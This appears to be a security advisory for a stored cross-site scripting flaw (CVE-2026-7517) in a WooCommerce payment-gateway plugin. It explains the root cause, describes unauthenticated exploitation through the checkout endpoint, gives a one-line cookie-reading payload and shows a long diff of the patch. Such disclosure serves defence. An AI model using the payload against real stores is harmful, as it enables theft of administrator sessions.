Published : July 3, 2026

CVE-2026-7517: Custom Payment Gateways for WooCommerce <= 2.1.0 Unauthenticated Stored Cross-Site Scripting via 'alg_wc_cpg_input_fields' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-7517
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.1.0
Patched Version 2.2.0
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7517:
This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Custom Payment Gateways for WooCommerce plugin versions up to and including 2.1.0. An attacker can inject arbitrary web scripts through the ‘alg_wc_cpg_input_fields’ POST parameter during checkout, which then execute when administrators view order details or emails. The CVSS score is 7.2, indicating high severity.

The root cause lies in the `add_input_fields_to_order_meta()` function within `/includes/class-alg-wc-custom-payment-gateways-input-fields.php`. On line 268, the plugin receives user-supplied input field values from `$_POST[‘alg_wc_cpg_input_fields’][$_POST[‘payment_method’]]`. The vulnerable code passes these values through `sanitize_textarea_field()` which only strips tags but does not escape HTML entities for output. The values are then stored in order meta (`_alg_wc_cpg_input_fields`) without any output escaping. When the plugin later renders these values in the admin order details metabox (line 255), emails (line 135), or order notes (line 282), it uses `get_input_fields_output()` which directly outputs the stored values using `echo` without `wp_kses_post()` or `esc_html()`.

An unauthenticated attacker can exploit this by submitting a crafted POST request to the WooCommerce checkout endpoint. The attacker sets the `payment_method` parameter to an active custom payment gateway ID and includes an `alg_wc_cpg_input_fields` array with a malicious JavaScript payload as the field value. Since no custom input fields need to be configured in the plugin settings, any guest user can trigger this by sending a direct POST to `/checkout/` or the WooCommerce AJAX `checkout` action. Example payload: `alg_wc_cpg_input_fields[alg_custom_gateway_1][test]=”>alert(document.cookie)`.

The patch, implemented in version 2.2.0, adds output escaping at multiple points. In `woe_process_input_fields()` (line 75-76), the patch wraps `$field_title` and `$field_value` with `esc_html()`. In `add_input_fields_to_emails()` (line 127) and `add_input_fields_to_order_details()` (line 157), the patch wraps the output of `get_input_fields_output()` with `wp_kses_post()`. In `add_input_fields_to_order_meta()` (line 283), the patch adds proper sanitization using `sanitize_text_field()` for the field titles. These changes ensure user-supplied content is properly escaped before being rendered in HTML contexts.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any administrator who views the affected order details page, order emails, or order notes. This can lead to session hijacking, credential theft, or administrative account takeover, as the injected script can perform actions on behalf of the admin user, such as creating new admin users or modifying plugin settings.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/custom-payment-gateways-woocommerce/custom-payment-gateways-for-woocommerce.php
+++ b/custom-payment-gateways-woocommerce/custom-payment-gateways-for-woocommerce.php
@@ -3,12 +3,12 @@
  * Plugin Name: Custom Payment Gateways for WooCommerce
  * Plugin URI: https://imaginate-solutions.com/downloads/custom-payment-gateways-for-woocommerce/
  * Description: Custom payment gateways for WooCommerce
- * Version: 2.1.0
+ * Version: 2.2.0
  * Author: Imaginate Solutions
  * Author URI: https://imaginate-solutions.com
  * Text Domain: custom-payment-gateways-woocommerce
  * Domain Path: /langs
- * Copyright: © 2025 Imaginate Solutions.
+ * Copyright: © 2026 Imaginate Solutions.
  * WC tested up to: 9.8
  * License: GNU General Public License v3.0
  * License URI: http://www.gnu.org/licenses/gpl-3.0.html
@@ -37,7 +37,7 @@
 		 * @var   string
 		 * @since 1.0.0
 		 */
-		public $version = '2.1.0';
+		public $version = '2.2.0';

 		/**
 		 * The single instance of the class.
@@ -45,6 +45,7 @@
 		 * @var   Alg_WC_Custom_Payment_Gateways The single instance of the class
 		 * @since 1.0.0
 		 */
+		// phpcs:ignore
 		protected static $_instance = null;

 		/**
@@ -153,12 +154,18 @@
 			if ( get_option( 'alg_wc_custom_payment_gateways_version', '' ) !== $this->version ) {
 				add_action( 'admin_init', array( $this, 'version_updated' ) );
 			}
-			// HPOS compatibility
+			// HPOS compatibility.
 			add_action( 'before_woocommerce_init', array( $this, 'cpg_declare_hpos_compatibility' ) );

 			require_once 'includes/class-alg-wc-custom-payment-upgrades.php';
 		}

+		/**
+		 * Declare compatibility with WooCommerce HPOS (High-Performance Order Storage).
+		 *
+		 * @version 1.2.0
+		 * @since   1.0.0
+		 */
 		public function cpg_declare_hpos_compatibility() {
 			if ( class_exists( AutomatticWooCommerceUtilitiesFeaturesUtil::class ) ) {
 				AutomatticWooCommerceUtilitiesFeaturesUtil::declare_compatibility( 'custom_order_tables', __FILE__, true );
@@ -175,7 +182,7 @@
 		 */
 		public function action_links( $links ) {
 			$custom_links   = array();
-			$custom_links[] = '<a href="' . admin_url( 'admin.php?page=wc-settings&tab=alg_wc_custom_payment_gateways' ) . '">' . __( 'Settings', 'woocommerce' ) . '</a>';
+			$custom_links[] = '<a href="' . admin_url( 'admin.php?page=wc-settings&tab=alg_wc_custom_payment_gateways' ) . '">' . __( 'Settings', 'custom-payment-gateways-woocommerce' ) . '</a>';
 			if ( 'custom-payment-gateways-for-woocommerce.php' === basename( __FILE__ ) ) {
 				$custom_links[] = '<a target="_blank" href="https://imaginate-solutions.com/downloads/custom-payment-gateways-for-woocommerce/">' .
 				__( 'Unlock All', 'custom-payment-gateways-woocommerce' ) . '</a>';
@@ -288,6 +295,7 @@
 	 * @since   1.0.0
 	 * @return  Alg_WC_Custom_Payment_Gateways
 	 */
+	// phpcs:ignore
 	function alg_wc_custom_payment_gateways() {
 		return Alg_WC_Custom_Payment_Gateways::instance();
 	}
--- a/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-gateways-core.php
+++ b/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-gateways-core.php
@@ -30,7 +30,7 @@
 		public function __construct() {
 			if ( 'yes' === get_option( 'alg_wc_custom_payment_gateways_enabled', 'yes' ) ) {
 				// Include custom payment gateways class.
-				require_once 'class-wc-gateway-alg-custom.php';
+				require_once 'class-wc-gateway-alg-custom-template.php';
 				// Input fields.
 				if ( 'yes' === get_option( 'alg_wc_cpg_input_fields_enabled', 'yes' ) ) {
 					require_once 'class-alg-wc-custom-payment-gateways-input-fields.php';
@@ -41,7 +41,6 @@
 				}
 			}
 		}
-
 	}

 endif;
--- a/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-gateways-fees.php
+++ b/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-gateways-fees.php
@@ -182,9 +182,9 @@
 			$current_gateway_key = false;
 			if ( isset( WC()->session->chosen_payment_method ) ) {
 				$current_gateway_key = WC()->session->chosen_payment_method;
-			} elseif ( ! empty( $_REQUEST['payment_method'] ) ) {
-				$current_gateway_key = sanitize_key( $_REQUEST['payment_method'] );
-			} elseif ( '' != get_option( 'woocommerce_default_gateway' ) ) {
+			} elseif ( ! empty( $_REQUEST['payment_method'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				$current_gateway_key = sanitize_key( $_REQUEST['payment_method'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			} elseif ( '' !== get_option( 'woocommerce_default_gateway' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				$current_gateway_key = get_option( 'woocommerce_default_gateway' );
 			}
 			// Get the object.
@@ -199,7 +199,6 @@
 			}
 			return $current_gateway;
 		}
-
 	}

 endif;
--- a/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-gateways-input-fields.php
+++ b/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-gateways-input-fields.php
@@ -50,24 +50,36 @@
 		 * @version 1.6.1
 		 * @since   1.6.1
 		 */
+		// phpcs:ignore
 		public function woe_process_input_fields( $value, $order, $field ) {
 			$order_id = $order->get_id();
-			if ( $order_id ) {
-				$input_fields = $order->get_meta( '_alg_wc_cpg_input_fields', true );
-				//$input_fields = get_post_meta( $order_id, '_alg_wc_cpg_input_fields', true );
-				if ( is_array( $input_fields ) ) {
-					$template = get_option( 'alg_wc_cpg_input_fields_woe_template', '%title%: %value%' );
-					$glue     = get_option( 'alg_wc_cpg_input_fields_woe_glue', ' | ' );
-					$output   = array();
-					foreach ( $input_fields as $field_title => $field_value ) {
-						$output[] = str_replace( array( '%title%', '%value%' ), array( $field_title, $field_value ), $template );
-					}
-					return implode( $glue, $output );
-				} else {
-					return $input_fields;
-				}
+
+			if ( ! $order_id ) {
+				return $value;
 			}
-			return $value;
+
+			$input_fields = $order->get_meta( '_alg_wc_cpg_input_fields', true );
+
+			if ( ! is_array( $input_fields ) ) {
+				return $input_fields;
+			}
+
+			$template = get_option( 'alg_wc_cpg_input_fields_woe_template', '%title%: %value%' );
+			$glue     = get_option( 'alg_wc_cpg_input_fields_woe_glue', ' | ' );
+			$output   = array();
+
+			foreach ( $input_fields as $field_title => $field_value ) {
+				$output[] = str_replace(
+					array( '%title%', '%value%' ),
+					array(
+						esc_html( $field_title ),
+						esc_html( $field_value ),
+					),
+					$template
+				);
+			}
+
+			return implode( $glue, $output );
 		}

 		/**
@@ -101,18 +113,28 @@
 		 * @todo    [dev] enable/disable per input field or per payment gateway (same in `add_input_fields_to_order_details()`)
 		 * @todo    [dev] enable/disable per `$email`
 		 */
+		// phpcs:ignore
 		public function add_input_fields_to_emails( $order, $sent_to_admin, $plain_text, $email ) {
 			if ( 'no' === get_option( 'alg_wc_cpg_input_fields_add_to_emails', 'no' ) ) {
 				return;
 			}
 			if (
-			'customer' === get_option( 'alg_wc_cpg_input_fields_add_to_emails_sent_to', 'all' ) && $sent_to_admin ||
-			'admin' === get_option( 'alg_wc_cpg_input_fields_add_to_emails_sent_to', 'all' ) && ! $sent_to_admin
+				(
+					'customer' === get_option( 'alg_wc_cpg_input_fields_add_to_emails_sent_to', 'all' )
+					&& $sent_to_admin
+				)
+				||
+				(
+					'admin' === get_option( 'alg_wc_cpg_input_fields_add_to_emails_sent_to', 'all' )
+					&& ! $sent_to_admin
+				)
 			) {
 				return;
 			}
+
 			$input_fields_meta = $order->get_meta( '_alg_wc_cpg_input_fields', true );
-			//$input_fields_meta = get_post_meta( $order->get_id(), '_alg_wc_cpg_input_fields', true );
+			// phpcs:ignore
+			// $input_fields_meta = get_post_meta( $order->get_id(), '_alg_wc_cpg_input_fields', true );
 			if ( ! empty( $input_fields_meta ) ) {
 				$templates = ( $plain_text ?
 				get_option( 'alg_wc_cpg_input_fields_add_to_emails_template_plain', array() ) :
@@ -120,12 +142,14 @@
 				$start     = ( isset( $templates['header'] ) ? $templates['header'] : '' );
 				$item      = ( isset( $templates['field'] ) ? $templates['field'] : ( $plain_text ? '%title%: %value%' . "n" : '<p>%title%: %value%</p>' ) );
 				$end       = ( isset( $templates['footer'] ) ? $templates['footer'] : '' );
-				echo $this->get_input_fields_output(
-					$input_fields_meta,
-					array(
-						'start' => $start,
-						'item'  => $item,
-						'end'   => $end,
+				echo wp_kses_post(
+					$this->get_input_fields_output(
+						$input_fields_meta,
+						array(
+							'start' => $start,
+							'item'  => $item,
+							'end'   => $end,
+						)
 					)
 				);
 			}
@@ -143,18 +167,21 @@
 				return;
 			}
 			$input_fields_meta = $order->get_meta( '_alg_wc_cpg_input_fields', true );
-			//$input_fields_meta = get_post_meta( $order->get_id(), '_alg_wc_cpg_input_fields', true );
+			// phpcs:ignore
+			// $input_fields_meta = get_post_meta( $order->get_id(), '_alg_wc_cpg_input_fields', true );
 			if ( ! empty( $input_fields_meta ) ) {
 				$templates = get_option( 'alg_wc_cpg_input_fields_add_to_order_details_template', array() );
 				$start     = ( isset( $templates['header'] ) ? $templates['header'] : '<table class="widefat striped"><tbody>' );
 				$item      = ( isset( $templates['field'] ) ? $templates['field'] : '<tr><th>%title%</th><td>%value%</td></tr>' );
 				$end       = ( isset( $templates['footer'] ) ? $templates['footer'] : '</tbody></table>' );
-				echo $this->get_input_fields_output(
-					$input_fields_meta,
-					array(
-						'start' => $start,
-						'item'  => $item,
-						'end'   => $end,
+				echo wp_kses_post(
+					$this->get_input_fields_output(
+						$input_fields_meta,
+						array(
+							'start' => $start,
+							'item'  => $item,
+							'end'   => $end,
+						)
 					)
 				);
 			}
@@ -171,11 +198,13 @@
 		 */
 		public function check_required_input_fields( $data, $errors ) {
 			if ( ! empty( $data['payment_method'] ) ) {
+				// phpcs:ignore
 				if ( isset( $_POST['alg_wc_cpg_input_fields_required'][ $data['payment_method'] ] ) ) {
+
+					// phpcs:ignore
 					foreach ( $_POST['alg_wc_cpg_input_fields_required'][ $data['payment_method'] ] as $required_field_name => $is_required ) {
-						if (
-						! isset( $_POST['alg_wc_cpg_input_fields'][ $data['payment_method'] ][ $required_field_name ] ) ||
-						'' === $_POST['alg_wc_cpg_input_fields'][ $data['payment_method'] ][ $required_field_name ]
+						// phpcs:ignore
+						if ( ! isset( $_POST['alg_wc_cpg_input_fields'][ $data['payment_method'] ][ $required_field_name ] ) || '' === $_POST['alg_wc_cpg_input_fields'][ $data['payment_method'] ][ $required_field_name ]
 						) {
 							$errors->add(
 								'alg_wc_custom_payment_gateways',
@@ -191,10 +220,14 @@
 		/**
 		 * Add input fields meta box.
 		 *
+		 * @param string $post_type Post type.
+		 * @param WP_Post $post Post Object.
+		 *
 		 * @version 1.3.0
 		 * @since   1.3.0
 		 * @todo    [dev] customizable context (i.e. `side`, `normal`, `advanced`) and priority (i.e. `default`, `low`, `high`)
 		 */
+		// phpcs:ignore
 		public function add_input_fields_meta_box( $post_type, $post ) {
 			if ( 'woocommerce_page_wc-orders' === $post_type || 'shop_order' === $post_type ) {
 				if ( OrderUtil::custom_orders_table_usage_is_enabled() ) {
@@ -238,13 +271,14 @@

 			$input_fields_meta = $order->get_meta( '_alg_wc_cpg_input_fields', true );

-			echo $this->get_input_fields_output(
-				//get_post_meta( get_the_ID(), '_alg_wc_cpg_input_fields', true ),
-				$input_fields_meta,
-				array(
-					'start' => '<table class="widefat striped"><tbody>',
-					'item'  => '<tr><th>%title%</th><td>%value%</td></tr>',
-					'end'   => '</tbody></table>',
+			echo wp_kses_post(
+				$this->get_input_fields_output(
+					$input_fields_meta,
+					array(
+						'start' => '<table class="widefat striped"><tbody>',
+						'item'  => '<tr><th>%title%</th><td>%value%</td></tr>',
+						'end'   => '</tbody></table>',
+					)
 				)
 			);
 		}
@@ -259,31 +293,45 @@
 		 * @todo    [dev] (maybe) optional `sanitize_textarea_field` (e.g. `sanitize_text_field` or no sanitization at all)
 		 * @todo    [dev] (maybe) get `payment_method` from `$order->get_payment_method()` (as a fallback?)
 		 */
+		// phpcs:ignore
 		public function add_input_fields_to_order_meta( $order_id, $posted ) {
-			if ( ! empty( $_POST['payment_method'] ) && isset( $_POST['alg_wc_cpg_input_fields'][ $_POST['payment_method'] ] ) ) {
-				$values = array_map( 'sanitize_textarea_field', $_POST['alg_wc_cpg_input_fields'][ $_POST['payment_method'] ] );
+
+			// phpcs:ignore
+			if ( ! empty( $_POST['payment_method'] ) &&	isset( $_POST['alg_wc_cpg_input_fields'][ $_POST['payment_method'] ] ) ) {
+
+				$values = array();
+				// phpcs:ignore
+				foreach ( (array) $_POST['alg_wc_cpg_input_fields'][ $_POST['payment_method'] ] as $title => $field_value ) {
+					$values[ sanitize_text_field( wp_unslash( $title ) ) ] =
+						sanitize_textarea_field( wp_unslash( $field_value ) );
+				}
+
 				$order = wc_get_order( $order_id );
 				$order->update_meta_data( '_alg_wc_cpg_input_fields', $values );
 				$order->save();
-				//update_post_meta( $order_id, '_alg_wc_cpg_input_fields', $values );
+
 				if ( 'yes' === get_option( 'alg_wc_cpg_input_fields_add_order_note', 'no' ) ) {
 					$note   = array();
 					$note[] = __( 'Payment gateway input fields', 'custom-payment-gateways-woocommerce' ) . ':';
-					//$order  = wc_get_order( $order_id );
+
 					foreach ( $values as $title => $value ) {
-						$note[] = ( $title . ': ' . $value );
+						$note[] = sprintf(
+							'%s: %s',
+							sanitize_text_field( $title ),
+							sanitize_textarea_field( $value )
+						);
 					}
+
 					$order->add_order_note( implode( PHP_EOL, $note ) );
 				}
 			}
-
+			// phpcs:ignore
 			if ( ! empty( $_POST['payment_method'] ) && 'alg_custom_gateway_1' === $_POST['payment_method'] ) {
-				$total_orders = (int)get_option( 'img_cpg_orders', 0 );
-				$total_orders++;
+				$total_orders = (int) get_option( 'img_cpg_orders', 0 );
+				++$total_orders;
 				update_option( 'img_cpg_orders', $total_orders );
 			}
 		}
-
 	}

 endif;
--- a/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-upgrades.php
+++ b/custom-payment-gateways-woocommerce/includes/class-alg-wc-custom-payment-upgrades.php
@@ -35,8 +35,15 @@
 			add_action( 'alg_cpg_upgrade_content', array( $this, 'show_content' ) );
 		}

+		/**
+		 * Save options on admin init.
+		 *
+		 * @version 2.1.0
+		 * @since   2.1.0
+		 */
 		public function save_options() {
 			if ( ! get_option( 'img_cpg_install_date' ) ) {
+				// phpcs:ignore
 				update_option( 'img_cpg_install_date', current_time( 'timestamp' ) );
 			}

@@ -45,13 +52,20 @@
 			}
 		}

+		/**
+		 * Show review notice.
+		 *
+		 * @version 2.1.0
+		 * @since   2.1.0
+		 */
 		public function show_review_notice() {
 			if ( ! current_user_can( 'manage_options' ) ) {
 				return;
 			}

+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			if ( isset( $_GET['page'] ) && ( 'wc-orders' === $_GET['page'] || 'wc-settings' === $_GET['page'] ) ) {
-				// Skip if already dismissed
+				// Skip if already dismissed.
 				if ( get_option( 'cpgw_review_notice_dismissed' ) ) {
 					return;
 				}
@@ -76,7 +90,7 @@
 						$(document).on('click', '.cpgw-review-notice .notice-dismiss', function() {
 							$.post(ajaxurl, {
 								action: 'cpgw_dismiss_review_notice',
-								_nonce: '<?php echo esc_js($nonce); ?>'
+								_nonce: '<?php echo esc_js( $nonce ); ?>'
 							});
 						});
 					})(jQuery);
@@ -86,8 +100,15 @@
 			}
 		}

+		/**
+		 * AJAX handler to dismiss the review notice.
+		 *
+		 * @version 2.1.0
+		 * @since   2.1.0
+		 */
 		public function cpgw_dismiss_review_notice() {
-			if ( ! isset( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'cpgw_dismiss_notice_nonce' ) ) {
+
+			if ( ! isset( $_POST['_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_nonce'] ) ), 'cpgw_dismiss_notice_nonce' ) ) {
 				wp_send_json_error( 'Invalid nonce', 403 );
 			}

@@ -99,6 +120,12 @@
 			wp_send_json_success( 'Notice dismissed' );
 		}

+		/**
+		 * Show upgrade content.
+		 *
+		 * @version 2.1.0
+		 * @since   2.1.0
+		 */
 		public function show_content() {
 			?>
 			<div class="cpgw-upgrade-page">
@@ -167,15 +194,15 @@
 						array(
 							'name' => 'Variations Radio Buttons for WooCommerce',
 							'desc' => 'Replace the standard WooCommerce Variable Products drop down box template with radio buttons.',
-							'link' => 'https://imaginate-solutions.com/downloads/variations-radio-buttons-for-woocommerce/?utm_source=cpgupgrade&utm_medium=litepage&utm_campaign=litevspro'
+							'link' => 'https://imaginate-solutions.com/downloads/variations-radio-buttons-for-woocommerce/?utm_source=cpgupgrade&utm_medium=litepage&utm_campaign=litevspro',
 						),
 					);

-					foreach ($plugins as $plugin) {
+					foreach ( $plugins as $plugin ) {
 						echo '<div class="cpgw-plugin-card">';
-						echo '<h4>' . esc_html($plugin['name']) . '</h4>';
-						echo '<p>' . esc_html($plugin['desc']) . '</p>';
-						echo '<a href="' . esc_url($plugin['link']) . '" target="_blank">View Plugin →</a>';
+						echo '<h4>' . esc_html( $plugin['name'] ) . '</h4>';
+						echo '<p>' . esc_html( $plugin['desc'] ) . '</p>';
+						echo '<a href="' . esc_url( $plugin['link'] ) . '" target="_blank">View Plugin →</a>';
 						echo '</div>';
 					}
 					?>
@@ -233,7 +260,6 @@
 			</style>
 			<?php
 		}
-
 	}

 endif;
--- a/custom-payment-gateways-woocommerce/includes/class-wc-gateway-alg-custom-template.php
+++ b/custom-payment-gateways-woocommerce/includes/class-wc-gateway-alg-custom-template.php
@@ -0,0 +1,551 @@
+<?php
+/**
+ * Custom Payment Gateways for WooCommerce - Gateways Class
+ *
+ * @version 1.6.3
+ * @since   1.0.0
+ * @author  Imaginate Solutions
+ * @package cpgw
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+add_action( 'plugins_loaded', 'init_wc_gateway_alg_custom_class' );
+
+if ( ! function_exists( 'init_wc_gateway_alg_custom_class' ) ) {
+
+	/**
+	 * Load the class for creating custom gateway once plugins are loaded.
+	 */
+	function init_wc_gateway_alg_custom_class() {
+
+		if ( class_exists( 'WC_Payment_Gateway' ) && ! class_exists( 'WC_Gateway_Alg_Custom_Template' ) ) {
+
+			/**
+			 * WC_Gateway_Alg_Custom_Template class.
+			 *
+			 * @version 1.6.3
+			 * @since   1.0.0
+			 */
+			class WC_Gateway_Alg_Custom_Template extends WC_Payment_Gateway {
+
+				/**
+				 * Check WC version for Backward compatibility.
+				 *
+				 * @var string
+				 */
+				public $is_wc_version_below_3 = null;
+
+				/**
+				 * The current count of the payment gateway being referenced.
+				 *
+				 * @var string
+				 */
+				public $id_count = null;
+
+				/**
+				 * The instructions for the payment gateway.
+				 *
+				 * @var string
+				 */
+				public $instructions = null;
+
+				/**
+				 * The instructions in email for the payment gateway.
+				 *
+				 * @var string
+				 */
+				public $instructions_in_email = null;
+
+				/**
+				 * The minimum amount needed for payment gateway.
+				 *
+				 * @var int
+				 */
+				public $min_amount = 0;
+
+				/**
+				 * Enable gateway for specific shipping method.
+				 *
+				 * @var string
+				 */
+				public $enable_for_methods = null;
+
+				/**
+				 * Enable for virtual orders or not.
+				 *
+				 * @var string
+				 */
+				public $enable_for_virtual = null;
+
+				/**
+				 * The default order status when payment gateway is used.
+				 *
+				 * @var string
+				 */
+				public $default_order_status = null;
+
+				/**
+				 * Send email to admin.
+				 *
+				 * @var string
+				 */
+				public $send_email_to_admin = null;
+
+				/**
+				 * Send email to customer.
+				 *
+				 * @var string
+				 */
+				public $send_email_to_customer = null;
+
+				/**
+				 * The return url after placing order.
+				 *
+				 * @var string
+				 */
+				public $custom_return_url = null;
+
+				/**
+				 * Constructor.
+				 *
+				 * @version 1.1.0
+				 * @since   1.0.0
+				 */
+				public function __construct() {
+					$this->is_wc_version_below_3 = version_compare( get_option( 'woocommerce_version', null ), '3.0.0', '<' );
+					// phpcs:ignore
+					// return true;
+				}
+
+				/**
+				 * Initialise gateway settings form fields.
+				 *
+				 * @version 1.3.0
+				 * @since   1.0.0
+				 * @todo    [dev] check if we really need `is_admin()` for `$shipping_methods`
+				 * @todo    [dev] maybe redo `'yes' !== get_option( 'alg_wc_cpg_load_shipping_method_instances', 'yes' )`
+				 */
+				public function init_form_fields() {
+					// Prepare shipping methods.
+					$shipping_methods                  = array();
+					$do_load_shipping_method_instances = get_option( 'alg_wc_cpg_load_shipping_method_instances', 'yes' );
+					if ( 'disable' !== $do_load_shipping_method_instances && is_admin() ) {
+						$data_store = WC_Data_Store::load( 'shipping-zone' );
+						$raw_zones  = $data_store->get_zones();
+						foreach ( $raw_zones as $raw_zone ) {
+							$zones[] = new WC_Shipping_Zone( $raw_zone );
+						}
+						$zones[] = new WC_Shipping_Zone( 0 );
+						foreach ( WC()->shipping()->load_shipping_methods() as $method ) {
+							$shipping_methods[ $method->get_method_title() ] = array();
+
+							$shipping_methods[ $method->get_method_title() ][ $method->id ] = sprintf(
+								// Translators: %1$s shipping method name.
+								__( 'Any "%1$s" method', 'custom-payment-gateways-woocommerce' ),
+								$method->get_method_title()
+							);
+							foreach ( $zones as $zone ) {
+								$shipping_method_instances = $zone->get_shipping_methods();
+								$shipping_method_instances = ( 'yes' === $do_load_shipping_method_instances ? $zone->get_shipping_methods() : array() );
+								foreach ( $shipping_method_instances as $shipping_method_instance_id => $shipping_method_instance ) {
+									if ( $shipping_method_instance->id !== $method->id ) {
+										continue;
+									}
+									$option_id = $shipping_method_instance->get_rate_id();
+
+									$option_instance_title = sprintf(
+										// Translators: %1$s shipping method title, %2$s shipping method id.
+										__( '%1$s (#%2$s)', 'custom-payment-gateways-woocommerce' ),
+										$shipping_method_instance->get_title(),
+										$shipping_method_instance_id
+									);
+
+									$option_title = sprintf(
+										// Translators: %1$s zone name, %2$s shipping method instance name.
+										__( '%1$s – %2$s', 'custom-payment-gateways-woocommerce' ),
+										$zone->get_id() ? $zone->get_zone_name() :
+										__( 'Other locations', 'custom-payment-gateways-woocommerce' ),
+										$option_instance_title
+									);
+									$shipping_methods[ $method->get_method_title() ][ $option_id ] = $option_title;
+								}
+							}
+						}
+					}
+					// Prepare icon description.
+					// phpcs:ignore
+					$icon_desc = ( '' !== ( $icon_url = $this->get_option( 'icon', '' ) ) ?
+						'<img src="' . $icon_url . '" alt="' . $this->title . '" title="' . $this->title . '" />' : '' );
+					// Form fields.
+					$this->form_fields = require 'settings/class-wc-gateway-alg-custom-form-fields.php';
+				}
+
+				/**
+				 * Check if the gateway is available for use,
+				 *
+				 * @version 1.5.0
+				 * @since   1.0.0
+				 * @return  bool
+				 * @todo    [dev] recheck enable_for_virtual part of the code
+				 */
+				public function is_available() {
+					$order = null;
+
+					// Check min amount.
+					$min_amount = apply_filters( 'alg_wc_custom_payment_gateways_values', 0, 'min_amount', $this );
+
+					if ( $min_amount > 0 && isset( WC()->cart->total ) && '' !== WC()->cart->total && isset( WC()->cart->fee_total ) ) {
+						$total_excluding_fees = WC()->cart->total - WC()->cart->fee_total;
+						if ( $total_excluding_fees < $min_amount ) {
+							return false;
+						}
+					}
+
+					// Check if is virtual.
+					if ( ! $this->enable_for_virtual ) {
+						if ( WC()->cart && ! WC()->cart->needs_shipping() ) {
+							return false;
+						}
+						if ( is_page( wc_get_page_id( 'checkout' ) ) && 0 < get_query_var( 'order-pay' ) ) {
+							$order_id = absint( get_query_var( 'order-pay' ) );
+							$order    = wc_get_order( $order_id );
+							// Test if order needs shipping.
+							$needs_shipping = false;
+							if ( 0 < count( $order->get_items() ) ) {
+								foreach ( $order->get_items() as $item ) {
+									$_product = $order->get_product_from_item( $item );
+
+									if ( $_product->needs_shipping() ) {
+										$needs_shipping = true;
+										break;
+									}
+								}
+							}
+							$needs_shipping = apply_filters( 'woocommerce_cart_needs_shipping', $needs_shipping );
+							if ( $needs_shipping ) {
+								return false;
+							}
+						}
+					}
+
+					// Only apply if all packages are being shipped via ...
+					if ( ! empty( $this->enable_for_methods ) ) {
+						$session_object                  = WC()->session;
+						$chosen_shipping_methods_session = ( is_object( $session_object ) ) ? $session_object->get( 'chosen_shipping_methods' ) : null;
+						$chosen_shipping_methods         = ( isset( $chosen_shipping_methods_session ) ) ? array_unique( $chosen_shipping_methods_session ) : array();
+						$check_method                    = false;
+						if ( is_object( $order ) ) {
+							$shipping_method = ( $this->is_wc_version_below_3 ? $order->shipping_method : $order->get_shipping_method() );
+							if ( $shipping_method ) {
+								$check_method = $shipping_method;
+							}
+						} elseif ( empty( $chosen_shipping_methods ) || count( $chosen_shipping_methods ) > 1 ) {
+							$check_method = false;
+						} elseif ( count( $chosen_shipping_methods ) === 1 ) {
+							$check_method = $chosen_shipping_methods[0];
+						}
+						if ( ! $check_method ) {
+							return false;
+						}
+						$found = false;
+						foreach ( $this->enable_for_methods as $method_id ) {
+							if ( strpos( $method_id, ':' ) === false ) {
+								$_check_method = explode( ':', $check_method );
+								$_check_method = $_check_method[0];
+							} else {
+								$_check_method = $check_method;
+							}
+							if ( $_check_method === $method_id ) {
+								$found = true;
+								break;
+							}
+						}
+						if ( ! $found ) {
+							return false;
+						}
+					}
+
+					return parent::is_available();
+				}
+
+				/**
+				 * Output for the order received page.
+				 *
+				 * @version 1.0.0
+				 * @since   1.0.0
+				 */
+				public function thankyou_page() {
+					if ( $this->instructions ) {
+						$instructions = $this->instructions;
+
+						if ( function_exists( 'pll__' ) ) {
+							$instructions = pll__( $instructions );
+						}
+						echo do_shortcode( wpautop( wptexturize( $instructions ) ) );
+					}
+				}
+
+				/**
+				 * Add content to the WC emails.
+				 *
+				 * @version 1.1.0
+				 * @since   1.0.0
+				 * @access  public
+				 * @param   WC_Order $order Order Object.
+				 * @param   bool     $sent_to_admin Send to Admin.
+				 * @param   bool     $plain_text Plain Text.
+				 */
+				public function email_instructions( $order, $sent_to_admin, $plain_text = false ) {
+					if ( $this->instructions_in_email && ! $sent_to_admin && ( $this->is_wc_version_below_3 ? $order->payment_method : $order->get_payment_method() ) === $this->id && ( $this->is_wc_version_below_3 ? $order->status : $order->get_status() ) === $this->default_order_status ) {
+
+						$instructions_email = $this->instructions_in_email;
+
+						if ( function_exists( 'pll__' ) ) {
+							$instructions_email = pll__( $instructions_email );
+						}
+						echo do_shortcode( wpautop( wptexturize( $instructions_email ) ) . PHP_EOL );
+					}
+				}
+
+				/**
+				 * Process the payment and return the result
+				 *
+				 * @version 1.6.3
+				 * @since   1.0.0
+				 * @param   int $order_id Order ID.
+				 * @return  array
+				 */
+				public function process_payment( $order_id ) {
+
+					$order = wc_get_order( $order_id );
+
+					// Mark as default order status.
+					$statuses = alg_wc_custom_payment_gateways_get_order_statuses();
+					$note     = isset( $statuses[ $this->default_order_status ] ) ? $statuses[ $this->default_order_status ] : '';
+					// phpcs:ignore
+					$order->update_status( $this->default_order_status, $note ); // e.g. ( 'on-hold', __( 'Awaiting payment', 'custom-payment-gateways-woocommerce' ) ).
+
+					// Emails.
+					if ( 'yes' === $this->send_email_to_admin || 'yes' === $this->send_email_to_customer ) {
+						$woocommerce_mailer = WC()->mailer();
+						if ( 'yes' === $this->send_email_to_admin ) {
+							$woocommerce_mailer->emails['WC_Email_New_Order']->trigger( $order_id );
+						}
+						if ( 'yes' === $this->send_email_to_customer ) {
